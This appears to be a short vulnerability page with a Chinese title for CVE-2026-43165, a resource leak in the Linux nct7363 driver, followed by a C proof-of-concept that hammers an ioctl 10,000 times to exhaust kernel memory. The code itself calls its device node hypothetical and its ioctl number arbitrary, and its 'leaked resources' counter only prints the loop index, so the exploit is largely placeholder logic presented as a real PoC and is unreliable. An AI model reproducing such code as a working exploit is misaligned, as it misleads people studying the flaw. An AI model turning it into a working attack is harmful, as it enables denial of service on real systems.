CVE-2026-43165 Linux内核资源泄漏漏洞

/* * PoC for CVE-2026-43165: Resource Leak in nct7363 * This code demonstrates the logic leading to the leak. * Actual exploitation requires specific hardware and kernel interaction. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/nct7363" // Hypothetical device node // Structure to trigger the vulnerable function path struct fanin_args { int fan_id; }; int main() { int fd; struct fanin_args args; fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting PoC for CVE-2026-43165...\n"); // Repeatedly call the ioctl/function that triggers // nct7363_present_pwm_fanin to leak resources for (int i = 0; i < 10000; i++) { args.fan_id = i; // This ioctl would eventually lead to the vulnerable function if (ioctl(fd, 0x8001, &args) < 0) { // Arbitrary ioctl number perror("Ioctl failed"); break; } if (i % 1000 == 0) { printf("Leaked resources count: %d\n", i); } } close(fd); printf("PoC completed. Check kernel memory usage (slab).\n"); return 0; }